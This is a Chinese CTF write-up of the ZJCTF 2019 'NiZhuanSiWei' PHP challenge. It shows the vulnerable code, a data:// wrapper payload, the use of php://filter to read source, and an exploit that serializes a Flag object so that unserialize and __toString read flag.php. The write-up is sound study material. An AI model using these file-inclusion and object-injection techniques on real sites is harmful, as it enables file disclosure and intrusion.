[ZJCTF 2019]NiZhuanSiWei

知识点

反序列化
伪协议

审题

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

非常简洁的题目 只给了你代码 代码较短稍微分析一下 首先三个get请求分别传参 然后如果传入的text不为空 那么file_get_contents到text的内容必须是welcome to the zjctf 这要求我们通过get传参给写入一个文件 很显然是要用伪协议了
data协议:php5.2.0起,数据流封装器开始有效,主要用于数据流的读取。如果传入的数据是PHP代码,就会执行代码

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

后面那一串是welcome to the zjctf的base64 题目给了个Hint 让我们查看useless.php 直接file=useless.php没有回显 尝试一下在用一次filter伪协议读 读出来了一串base64 解密之后

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

这部分就是一个可以利用的类 我们可以利用file_get_content函数传一个flag参数 但是我们传的file参数里面 如果含有flag 会被check到 似乎是一个矛盾的问题

__tostring的调用

这道题主要是考察魔术方法__tostring 这个函数虽然天天见 但其实没那么简单 贴上一个小例子

<?php
class Person{
    private $name = "";
    private $age = 0;
    public function __construct($name = "", $age = ""){
        $this->name = $name;
        $this->age = $age;
    } 
    function say(){
        echo "name:".$this->name."<br/>"."age:".$this->age."<br/>"; 
    }
}
$p1 = new person("sjyyds",20);
echo $p1;

如果我们直接执行这样的一个php文件 会报错:Object of class Person could not be converted to string 这个错都看得懂 如果我们在刚刚的类里面加上这样一个函数 就不会报错了

public function __toString(){
        return "I am  Person,my name is ".$this->name."<br/>";
    }

如果不加上这个__tostring 单纯的把上一步的echo $p1给删了 程序也是对的 我们发现 在实例化并打印一个对象的时候 是需要__tostring这个函数的 或者说__tostring是会自动调用的

解题

就很好理解了 我们在反序列化password的时候 在后端这个__tostring是会在反序列化的同时被调用的 而我们就可以利用里面的file_get_contents来拿到flag 贴上最终exp

<?php  

class Flag{  //flag.php  
    public $file = "flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  

$a = new Flag;
echo serialize($a);
?>  

拿到flag

EOF

P.S.隔了好久没做web的题了 中间都在做取证 真的感觉忘了好多QAQ

原文地址:https://www.cnblogs.com/zhwyyswdg/p/14281899.html